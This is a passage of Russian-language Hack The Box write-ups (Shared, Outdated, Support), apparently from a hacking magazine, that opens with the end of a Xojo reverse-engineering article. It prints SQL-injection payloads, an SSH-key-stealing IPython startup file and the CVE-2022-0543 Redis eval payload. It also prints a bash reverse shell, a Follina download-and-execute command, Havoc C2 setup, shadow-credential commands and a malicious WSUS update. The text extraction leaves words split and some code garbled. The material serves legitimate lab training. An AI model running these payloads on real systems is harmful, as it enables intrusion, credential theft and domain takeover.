на род уже изу чал
пи тонов ский скрипт под IDA

Же лающие могут озна комить ся с этим скрип том самос тоятель но, я же
не ста ну оста нав ливать ся на нем под робно, пос коль ку скрипт на нашем
модуле не работа ет, а струк тура овер лея нем ного отли чает ся от опи сан ной
в упо мяну той статье. Будь у нас в запасе поболь ше вре мени, мы бы мог ли
разоб рать новую струк туру по вин тикам, понять, что изме нилось, и соз дать
на осно ве ста рого новый работос пособ ный скрипт, под держи вающий наш
фор мат. Но мы пой дем дру гим путем.

Пом нишь, как мы вык рутились в слу чае 64-бит ной вер сии? Повеси ли бряк
на фун кцию  из модуля

 и ловили им ини циали зацию каж дого метода.

Разуме ется, при заг рузке в отладчик прог раммы в ней нет никако го импорта,
кро ме нес коль ких базовых фун кций kernel32, необ ходимых для заг рузки овер -
лея. Одна ко, прер вавшись в отладчи ке внут ри уже заг ружен ной прог раммы,
мы видим необ ходимый модуль в спис ке — здесь он называ ется

, и необ ходимая фун кция
 там есть.

RuntimeAllocateAttributeTable
XojoGUIFramework64.dll

XojoGUIFramework32.dll
RuntimeAllocateAttributeTable

Ста вим на нее бряк и перезаг ружа ем прог рамму в отладчи ке. Бряк сто пит -
ся уже при вызове из заг ружен ного овер лея, код вызова

 до боли похож на ана логич ный из 64-бит -
ного модуля. Пос коль ку мы уже в кур се, как все было устро ено там, нам
не сос тавит боль шого тру да при думать ана логию для каж дого нуж ного нам
поля:

RuntimeAllocateAttributeTable

0197FCA6 mov esp,dword ptr ss:[ebp-E4]
0197FCAC mov dword ptr ss:[ebp-D0],eax
0197FCB2 mov ecx,198074F
0197FCB7 mov dword ptr ss:[ebp-58],ecx
0197FCBA mov edx,dword ptr ss:[ebp-50]
0197FCBD mov dword ptr ds:[edx+248],ecx
0197FCC3 mov ebx,1AA2296                   <-- Адрес класса
0197FCC8 mov dword ptr ss:[ebp-58],ebx
0197FCCB mov dword ptr ds:[edx+250],ebx
0197FCD1 mov ecx,377907D                   <-- Имя метода
0197FCD6 mov dword ptr ds:[edx+258],ecx
0197FCDC mov esi,3774A0C                   <-- Имя класса
0197FCE1 mov dword ptr ds:[edx+268],esi
0197FCE7 xor edi,edi
0197FCE9 mov dword ptr ds:[edx+26C],edi
0197FCEF mov esi,11
0197FCF4 mov dword ptr ds:[edx+25C],esi
0197FCFA push eax
0197FCFB push 0
0197FD00 push 
258                          <-- Смещение до элемента таблицы
0197FD05 push edx                          <-- Адрес таблицы
0197FD06 call <xojoguiframework32.RuntimeAllocateAttributeTable>

Су дя по все му, эта струк тура в 32-бит ном исполне нии занима ет  байт

и сос тоит из десяти полей. Нес ложно переде лать текст жур нала в условной
точ ке оста нова под новую информа цию. Что я и пред лагаю читате лю сде лать
самос тоятель но.

0x28

https://www.xojo.com/
https://ru.wikipedia.org/wiki/Xojo
http://www.nullsecurity.org/article/reverse_engineering_realbasic_applications
https://gist.github.com/ols3er/7e0bf8d1e0d4e81baa06fcd3feeda421
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SHARED

ПОВЫШАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ УЯЗВИМОСТЬ В REDIS

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как повысить
при виле гии через Redis. Но сна чала мы
про ник нем на хост при помощи SQL-инъ -
екции и получим акка унт дру гого поль -
зовате ля с помощью уяз вимос ти в IPython.

Тре ниро вать ся будем на сред ней по слож ности машине Shared с пло щад ки
.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.172    shared.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим все го два откры тых пор та:
22 — служ ба OpenSSH 8.4p1;•
пор ты 80 и 443 — веб-сер вер Nginx 1.18.0.•

Нач нем с сай та. Порт 80 нас переки дыва ет на 443. В резуль татах ска на
находим поле сер тифика та , он дей стви телен для любого под -

домена .

commonName
shared.htb

Глав ная стра ница сай та http://shared.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

Это сайт какого-то интернет-магази на. Поп робу ем совер шить покуп ку.

Кор зина поль зовате ля

При попыт ке перей ти к опла те нас кида ет на дру гой под домен.

Но вый под домен пос ле редирек та

До бавим его в  и пов торим дей ствия./etc/hosts

10.10.11.172    shared.htb checkout.shared.htb

Стра ница опла ты товара

В  при ана лизе зап росов мы видим наз вание парамет ра Cookie

. PrestaShop — это опен сор сный дви жок для интернет-магази нов.

Он написан на PHP и фрей мвор ке Symfony, для шаб лонов исполь зует ся Twig,
для хра нения дан ных — MySQL.

Burp History

PrestaShop

Зап рос в Burp History

Я нашел в интерне те нес коль ко готовых экс пло итов, но в дан ном слу чае они
неп римени мы. Поэто му я решил обра тить вни мание на то, что дан ные меж ду
дву мя сай тами — магази ном и пла теж ным сер висом — переда ются в заголов -
ке .Cookie

Де коди рова ние Cookie

Я поп робовал нес коль ко раз ных наг рузок и опре делил, что здесь воз можна
SQL-инъ екция. Отправ ляем зап рос, усло вие которо го всег да исти на, и получа -
ем товар в чеке.

 # Нагрузка
' or 1=1 -- -

Про вер ка SQL-инъ екции

ÒÎ×ÊÀ ÎÏÎÐÛ

SQL Injection

Да вай теперь про экс плу ати руем SQL-инъ екцию. Сна чала опре делим чис ло
стол бцов. Для это го исполь зуем UNION с перемен ным количес твом стол бцов.
Так, при объ еди нении с таб лицей, име ющей один или два стол бца, будет
ошиб ка, а при трех стол бцах — внят ный вывод.

   union select 1 -- -
   union select 1,2 -- -
   union select 1,2,3 -- -

Оп ределе ние количес тва стол бцов

Так как в вывод попада ет вто рой стол бец, основную наг рузку будем посылать
вмес то циф ры 2. Теперь нам нуж но получить наз вание базы дан ных.

   union select 1,database(),3 -- -

Наз вание текущей базы дан ных

За тем выводим текущую базу дан ных, что дает нам воз можность с помощью
слу жеб ной базы  и таб лицы  получить наз вания

таб лиц. Что бы вывес ти нес коль ко строк в одну, нам нуж но их объ еди нить
с помощью фун кции .

information_schema tables

group_concat

    
   

union select 1,group_concat(table_name),3 from information_schema.
tables where table_schema='checkout' -- -

Спи сок таб лиц в базе checkout

Те перь логич но получить наз вания стол бцов. Зап росим записи из таб лицы
 базы .columns information_schema

    
   

union select 1,group_concat(column_name),3 from information_schema
.columns where table_name='user' -- -

Спи сок стол бцов в таб лице user

Имя поль зовате ля и пароль — как и заказы вали. В  объ еди ним
учет ные дан ные через сим вол .

group_concat
:

      
 

union select 1,group_concat(username, ':', password),3 from
checkout.user -- -

По луче ние учет ных дан ных поль зовате ля james_mason

Есть хеш, а зна чит, отправ ляем ся к онлай новой базе , которая
поможет нам сбру тить пароль.

CrackStation

Па роль поль зовате ля james_mason

С получен ной парой из логина и пароля можем поп робовать авто ризо вать ся
по SSH.

Сес сия поль зовате ля james_mason

По лучи лось!

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь, ког да мы получи ли дос туп к хос ту, нам нуж но соб рать информа цию. Я
для это го исполь зую скрип ты PEASS.

Справка: скрипты PEASS для Linux (загрузка через SCP)
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль зовате -
ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий может быть
очень мно го, как в Linux, так и в Windows. Что бы соб рать информа цию
и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис тему на авто мате.
Privilege Escalation Awesome Scripts

SUITE

Заг рузим на локаль ный хост скрипт для Linux, дадим пра во на выпол нение
 и выпол ним. В выводе будет мно го информа ции,

но меня заин тересо вало то, что есть файл, дос тупный для записи груп пе раз -
работ чиков, в которой мы сос тоим.

chmod +x linpeas.sh

Фай лы, дос тупные для записи

Ни чего полез ного тут нет, поэто му про дол жим раз ведку и отсле дим запус -
каемые про цес сы. Для это го я рекомен дую . Заг рузим его на хост тем
же спо собом, что и , а потом выпол ним. В выводе отме чаем запуск

 из най ден ного ранее катало га. Что более инте рес но, он запус кает ся

в кон тек сте поль зовате ля с UID 1001.

pspy64

linpeas
ipython

Вы вод ути литы pspy64

Оп ределить целево го поль зовате ля мож но через файл .
Это .

/etc/passwd
dan_smith

Со дер жимое фай ла /etc/passwd

По рыв шись в интерне те, я нашел  для IPython! Он про изволь но
выпол няет в текущем катало ге файл .

экс пло ит
profile_default/startup/foo.py

Соз дадим его по нуж ному пути:

/opt/scripts_review/profile_default/startup/foo.py

И положим внутрь такую строч ку:

  import os; os.system("cat /home/dan_smith/.ssh/id_rsa > /dev/shm/
key")

Так мы поп робу ем сох ранить при ват ный ключ поль зовате ля в файл 
. Пери оди чес ки про веря ем, не появил ся ли он, и через какое-то вре мя

получа ем ключ.

/dev/shm/
key

При ват ный ключ поль зовате ля

Под клю чаем ся по SSH и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Сно ва исполь зуем PEASS и с его помощью обна ружи ваем сле дующее.
В сис теме есть при ложе ние , дос тупное груп пе
sysadmin, чле ном которой явля ется наш поль зователь.

• redis_connector_dev

Фай лы рута, дос тупные для чте ния

В спис ке прос лушива емых пор тов есть порт служ бы Redis — 6379.•

Спи сок откры тых пор тов

Ес ли выпол нить най ден ное при ложе ние, то уви дим, что оно под клю чает ся
к сер веру, а зна чит, внут ри у него нуж ные учет ные дан ные.

Вы пол нение при ложе ния redis_connector_dev

Ско пиру ем файл на локаль ный хост с помощью SSH.

scp -i id_rsa dan_smith@shared.htb:/usr/local/bin/redis_connector_
dev ./

За тем откро ем лис тенер на пор те 6379, что бы отоб разить получен ные дан -
ные. А ког да все будет готово, запус тим при ложе ние.

За пуск при ложе ния

Ло ги лис тенера

В пос ледней стро ке логов видим пароль для под клю чения к Redis.

Redis RCE

Redis — резиден тная сис тема управле ния базами дан ных клас са NoSQL
с откры тым исходным кодом, работа ющая со струк турами дан ных типа
«ключ — зна чение». Исполь зует ся как для баз дан ных, так и для реали зации
кешей, бро керов сооб щений. Из пос ледних уяз вимос тей я вспом нил 

. Дело в том, что из-за проб лемы с упа ков кой СУБД Redis под -
верже на выходу из песоч ницы Lua, а это может при вес ти к уда лен ному выпол -
нению кода (RCE). В дан ном слу чае еще и с высоки ми при виле гиями.

CVE-
2022-0543

Под клю чим ся к Redis и авто ризу емся:

redis-cli
auth GqqF2WHqJUz2WEz=

Те перь поп робу ем с помощью сле дующей наг рузки выпол нить коман ду .id

 

 
0

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/
liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.
popen("id", "r"); local res = f:read("*a"); f:close(); return res'

Вы пол нение коман ды id

Ко ман да выпол нена, и, как мы видим, в кон тек сте поль зовате ля root. Теперь
запус тим реверс-шелл:

bash  -i >& /dev/tcp/10.10.14.84/4321 0>&1

Я записал его в файл ./dev/shm/r.sh
Пе ред выпол нени ем акти виру ем лис тенер: .pwncat_cs -lp 4321

 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/
liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.
popen("cat /dev/shm/r.sh | bash", "r"); local res = f:read("*a"); 
f:close(); r

 0eturn res'

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://crackstation.net/
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/DominicBreuker/pspy
https://github.com/advisories/GHSA-pq7m-3gw7-gq5x
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0543
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OUTDATED

ПОВЫШАЕМ ПРИВИЛЕГИИ
ЧЕРЕЗ СЛУЖБУ ОБНОВЛЕНИЯ

WINDOWS

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати -
ровать нашумев шую уяз вимость MSTD
Follina, затем поз лоупот ребля ем пра вом
AddKeyCredentialLink на учет ную запись,
а при повыше нии при виле гий порабо таем
со служ бой WSUS. Для удобс тва исполь -
зуем недав но опуб ликован ный C2-фрей -
мворк Havoc.

Пло щад кой для упражне ний нам пос лужит тре ниро воч ная машина Outdated
с пло щад ки . Ее уро вень слож ности оце нен как сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.175    outdated.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли мно го откры тых пор тов, что типич но для Windows:
25 — служ ба SMTP (поч товый сер вер);•
53 — служ ба DNS;•
88 (филь тру ется) — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 (филь тру ется) — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) (филь тру ется) — для дос тупа к Global Catalog от кли ента к кон -
трол леру;

•

3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 (филь тру ется) — служ ба уда лен ного управле ния WinRM;•
8530, 8531 (филь тру ется) — служ ба WSUS для обновле ний опе раци онных
сис тем и про дук тов Microsoft;

•

9389 (филь тру ется) — веб-служ бы AD DS.•

Пор ты 22 и 636 откры вают нам новые домен ные име на, которые добавим
в файл :/etc/hosts

10.10.11.175 outdated.htb dc.outdated.htb mail.outdated.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом необ ходимо про верить, нет ли ано ним ного дос тупа к служ бе
SMB. Для это го авто ризу емся от име ни поль зовате ля  с пус тым паролем.

С помощью ути литы  с парамет ром  можем сра зу
получить дос тупные общие ресур сы.

guest
CrackMapExec --shares

    crackmapexec smb 10.10.11.175 -u 'guest' -p '' --shares

Дос тупные общие ресур сы

По луча ем спи сок общих ресур сов и отме чаем для себя дос тупный для чте ния
каталог . Для работы с ресур сом SMB будем исполь зовать 
из пакета скрип тов .

Shares smbclient

impacket

impacket-smbclient guest@dc.outdated.htb
use shares
ls

Со дер жимое катало га shares

На ходим все го один документ, который забира ем на свой хост коман дой 

.

get
NOC_Reminder.pdf

Со дер жимое докумен та NOC_Reminder.pdf

Это отчет, который пре дос тавля ет нам спи сок текущих уяз вимос тей (не факт,
что зак рытых). Так же говорит ся, что мы можем прис лать на адрес
itsupport@outdated.htb ссыл ку на уяз вимое при ложе ние. В спис ке отме чаем
недав но нашумев шую уяз вимость , она же Follina.CVE-2022-30190

ÒÎ×ÊÀ ÎÏÎÐÛ

Вос поль зуем ся готовым , но так как нам нуж на ссыл ка на саму наг -
рузку, а не документ, содер жащий ее, то вне сем одно изме нение. Най дем
в исходном коде наг рузку и изме ним ее на коман ду, которая ска чает исполня -
емый файл и затем запус тит.

экс пло итом

Invoke-WebRequest http://10.10.14.24:8080/demon.exe -OutFile C:\\
Windows\\Tasks\\demon.exe; C:\\Windows\\Tasks\\demon.exe

Из менен ный код экс пло ита

Те перь запус тим файл , содер жащий и наг рузку, и веб-сер вер,
и лис тенер. Но вмес то  мы будем исполь зовать наг рузку .

follina.py
netcat Havoc

python3 follina.py --interface tun0 --port 8000 --reverse 4321

За пуск follina.py

А теперь перей дем к фрей мвор ку . Соб рать и кли ент, и сер вер
из исходни ков очень лег ко. Спер ва уста новим необ ходимые пакеты.

Havoc

apt  sudo install -y git build-essential apt-utils cmake 
libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev 
libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev 
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-
dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools 
libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-
go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev 
libboost-all-dev mingw-w64 nasm

Те перь ска чива ем сам про ект и собира ем сна чала кли ент, потом сер вер.

git clone https://github.com/HavocFramework/Havoc.git

#build client
cd Havoc/Client
make
cd ../..

#build server
cd Havoc/Teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
./Install.sh
make

Те перь вне сем изме нение в файл ,
где ука зыва ем нас трой ки сер вера, а так же поль зовате лей для под клю чения.

Havoc/Teamserver/profiles/havoc.yaotl

Teamserver {
    Host = "0.0.0.0"

   Port = 9898
   Build {

        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/
x86_64-w64-mingw32-gcc"

        Nasm = "/usr/bin/nasm"
   }

}

Operators {
    user "ralf" {

        Password = "password"
   }

}

Ког да все готово, запус каем кли ент как  и сер вер:Havoc/Client/Havoc

./teamserver server --profile ./profiles/havoc.yaotl

За тем соз даем HTTPS-лис тенер и генери руем наг рузку в фор мате .exe.

Соз дание лис тенера

Соз дание наг рузки

В катало ге, где рас положе на наг рузка, запус тим прос той веб-сер вер:

   python3 -m http.server 8080

За тем отправ ляем пись мо.

 
swaks --to itsupport@outdated.htb --from ralf@ralf --server mail.
outdated.htb --body "http://10.10.14.24:8000/"

От прав ка сооб щения

Ма шина с багами, поэто му засылать при ходи лось по нес коль ку раз, а то и с
ревер том самой машины. Но все же отстук получить уда лось.

Сес сии Havoc

shell whoami

Ре зуль тат выпол нения коман ды whoami

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам нуж но понять, куда дви гать ся даль ше. Для это го мы исполь зуем
очень кру тую прог рамму — . В ней исполь зует ся теория гра фов
для выяв ления скры тых и час то неп редна мерен ных вза имос вязей в сре де
Active Directory. BloodHound мож но исполь зовать, что бы иден тифици ровать
очень слож ные пути ата ки, которые ина че было бы невоз можно быс тро иден -
тифици ровать.

BloodHound

BloodHound

Так как у нас нет учет ных дан ных поль зовате ля домена, нам пред сто ит исполь -
зовать вер сию прог раммы на C# на целевом хос те. Бла го Havoc поз воля ет
выпол нять сбор ки .NET пря мо в памяти без заг рузки исполня емо го фай ла
на хост. Для это го исполь зуем коман ду . Пос ле чего

ска чива ем файл с соб ранной информа цией на коман дный сер вер коман дой
.

dotnet inline-execute

download

 All
dotnet inline-execute /home/ralf/tools/SHARP/Discovery/SharpHound.
exe -c

Ска чан ные фай лы мож но будет най ти в хра нили ще Havoc.

Хра нили ще Havoc

Для работы с выход ным фай лом BloodHound нам нуж но уста новить СУБД
Neo4j и гра фичес кую оснас тку bloodhound для пос тро ения гра фа свя зей.

apt sudo install neo4j bloodhound

За пус тим уста нов ленную Neo4j коман дой . Пос ле сооб -

щения об успешном стар те зай дем на  через бра узер. Нам
сра зу пред ложат уста новить пароль. Пос ле уста нов ки пароля запус каем
BloodHound (коман да  в коман дной стро ке) и авто ризу емся с толь -

ко что уста нов ленным паролем.

sudo neo4j console
localhost:7474

bloodhound

Ког да откро ется пус тое окош ко, закиды ваем в него получен ный архив.
А затем в поле поис ка ука зыва ем груп пу поль зовате лей. На экра не будут отоб -
ражены все поль зовате ли из этой груп пы, сре ди которых най дем под кон троль -
ного нам и пометим как Mark User as Owned. На икон ке поль зовате ля дол жен
появить ся череп. Затем поп росим BloodHound най ти путь прод вижения к дру -
гим поль зовате лям от уже взло ман ного (которо го мы толь ко помети ли) —
опция Shortest Path from Owned Principals в гра фе ана лити ки.

Граф прод вижения

Так мы получим мар шрут к зах вату поль зовате ля , который явля ется

адми нис тра тором WSUS, но об этом погово рим уже при повыше нии при виле -
гий. Сей час же нам инте рес на груп па ITSTAFF, которая име ет пра во

 для учет ной записи . Тут мы можем вос поль -

зовать ся тех никой Shadow Credentials.

sflowers

AddKeyCredentialLink sflowers

Shadow Credentials

Эта тех ника поз воля ет ата кующе му зав ладеть учет ной записью поль зовате ля
или компь юте ра, если он может изме нить атри бут 

целево го объ екта и добавить к нему аль тер натив ные учет ные дан ные, такие
как сер тификат. Сде лать это мож но с помощью ути литы .

msDS-KeyCredentialLink

Whisker

dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Whisker.
exe add /target:sflowers

До бав ление аль тер натив ных учет ных дан ных

Сер тификат добав лен, пароль показан, но так же показа на и сле дующая коман -
да, которой мы зап росим тикет и хеш пароля поль зовате ля.

dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Rubeus.
exe asktgt /user:sflowers /certificate:MIIJuAIB...dNldA/o3dwICB9A=
/password:"C9pt7Aokq2cmfYxq" /domain:outdated.htb /dc:DC.

outdated.htb /getcredentials /show

NTLM-хеш поль зовате ля

С получен ным хешем мож но авто ризо вать ся через служ бу WinRM и запус тить
новый демон Havoc.

evil-winrm -i dc.outdated.htb -u sflowers -H 
1FCDB1F6015DCB318CC77BB2BDA14DB5

Сес сии Havoc

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь вер немся к груп пе адми нис тра торов WSUS. Мы можем управлять
служ бой WSUS, но преж де, чем говорить о повыше нии при виле гий, нам нуж но
про верить еще два парамет ра.

Пер вый — обновле ния зап рашива ются без исполь зования SSL:

shell reg query HKLM\Software\Policies\Microsoft\Windows\
WindowsUpdate /v WUServer

Зна чение WUServer

Вто рой — игно риру ется ли запись :WUServer

shell reg query HKLM\Software\Policies\Microsoft\Windows\
WindowsUpdate\AU /v UseWUServer

Зна чение UseWUServer

Ус ловия соб людены, поэто му мы можем исполь зовать тех нику эска лации через
WSUS. Сна чала заг ружа ем на хост .PsExec64.exe

upload /home/ralf/tmp/PsExec64.exe C:\Windows\Tasks\PsExec64.exe

Те перь c помощью  соз даем вре донос ное обновле ние, которое
изме нит пароль адми нис тра тора.

SharpWSUS

.\SharpWSUS.exe create /payload:"C:\Windows\Tasks\PsExec64.exe" /
args:'-accepteula -s -d cmd.exe /c "net user administrator 
!QA@WS3ed4rf"' /title:"newWSUS"

Соз дание вре донос ного обновле ния

Те перь раз вернем наше обновле ние.

.\SharpWSUS.exe approve /updateid:b8947333-f662-4d7a-832f-
f2f4700df828 /computername:dc.outdated.htb /groupname:"newgroup1"

При мене ние соз данно го обновле ния

.\SharpWSUS.exe check /updateid:b8947333-f662-4d7a-832f-
f2f4700df828 /computername:dc.outdated.htb

И про веря ем его ста тус.

Про вер ка ста туса обновле ния

Об новле ние прош ло успешно, поэто му можем под клю чить ся по WinRM и заб -
рать флаг рута.

 evil-winrm -i dc.outdated.htb -u Administrator -p '!QA@WS3ed4rf'

Флаг рута

Ма шина зах вачена!
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https://github.com/nettitude/SharpWSUS


HTB

SUPPORT

ПРОВОДИМ
КЛАССИЧЕСКУЮ АТАКУ RBCD

ДЛЯ ЗАХВАТА ДОМЕНА

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как про водить
ата ку RBCD для зах вата домена Active
Directory. Но сна чала мы деком пилиру ем
нес ложное при ложе ние на .NET
для получе ния дос тупа к LDAP, а затем
получим учет ную запись поль зовате ля.

На ша цель — зах ватить тре ниро воч ную машину Support с пло щад ки 
. Ее уро вень слож ности обоз начен как лег кий.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока -
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.174    support.htb

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз -
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро -
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име -
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем мно го откры тых пор тов, что типич но
для сис тем на базе ОС Windows:

53 — служ ба DNS;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций вза имо дей ствия кон трол лер — кон трол лер и кон трол лер —
кли ент;

•

139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

DNS ничего не дал, а вот SMB поз воля ет под клю чать ся от име ни гос тя.
Для работы я советую исполь зовать . К при меру, получить

спи сок общих ресур сов с соот ветс тву ющи ми раз решени ями мож но парамет -
ром .

CrackMapExec

--shares

  crackmapexec smb 10.10.11.174 -u guest -p '' --shares

Об щие ресур сы

ÒÎ×ÊÀ ÂÕÎÄÀ

Под клю чаем ся к обще му ресур су и смот рим, что мы можем отту да заб рать.

smbclient //10.10.11.174/support-tools -N

Со дер жимое катало га support-tools

Боль ше все го, судя по наз вани ям фай лов, нам инте ресен .UserInfo.exe.zip

get UserInfo.exe.zip

Со дер жимое архи ва UserInfo.exe.zip

Это при ложе ние на .NET, поэто му мы можем его лег ко деком пилиро вать
с помощью  и про ана лизи ровать исходный код. В нем мы находим класс

, метод  которо го дол жен рас шифро вать и вер нуть
пароль.

dnSpy

Protected getPassword

Ис ходный код клас са Protected

Да вай вос ста новим алго ритм и узна ем пароль.

  enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
  key = b"armando"

 import base64
  e_password = base64.b64decode(enc_password)

  dec_password = []
   for i in range(len(e_password)):

            dec_password.append(chr(e_password[i] ^ key[i % len(key)] ^
223))
"".join(dec_password)

Рас шифро ван ный пароль из при ложе ния

В ито ге получа ем пароль и про дол жаем ана лиз при ложе ния.

ÒÎ×ÊÀ ÎÏÎÐÛ

В исходном коде клас са  мож но узнать имя поль зовате ля, которое
исполь зует ся при под клю чении к LDAP.

LdapQuery

Ис ходный код клас са LdapQuery

У нас есть все необ ходимые учет ные дан ные, поэто му под клю чим ся к служ бе
LDAP с помощью .JXplorer

Па нель авто риза ции JXplorer

Глав ное окно JXplorer

Пер вым делом соберем и прос мотрим информа цию о поль зовате лях. Так,
в атри буте  поль зовате ля  можем получить какую-то инте рес ную

стро ку.

info support

Ат рибуты поль зовате ля support

Воз можно, это пароль. Про верить гипоте зу мож но с помощью
.CrackMapExec

crackmapexec smb 10.10.11.174 -u support -p 
Ironside47pleasure40Watchful

Про вер ка учет ных дан ных

Мы наш ли пароль поль зовате ля домена, поп робу ем извлечь из это го боль ше
информа ции. На уда лен ном хос те активна служ ба уда лен ного управле ния
Windows, поэто му получим спи сок поль зовате лей груп пы Remote Management
Users.

 
crackmapexec smb 10.10.11.174 -u support -p 
Ironside47pleasure40Watchful --groups 'Remote Management Users'

Поль зовате ли в груп пе Remote Management Users

Уз наем, что наш поль зователь может заходить на хост по WinRM. Дела ем это с
помощью  и забира ем пер вый флаг.evil-winrm

evil-winrm -i 10.10.11.174 -u support -p 
Ironside47pleasure40Watchful

Флаг поль зовате ля

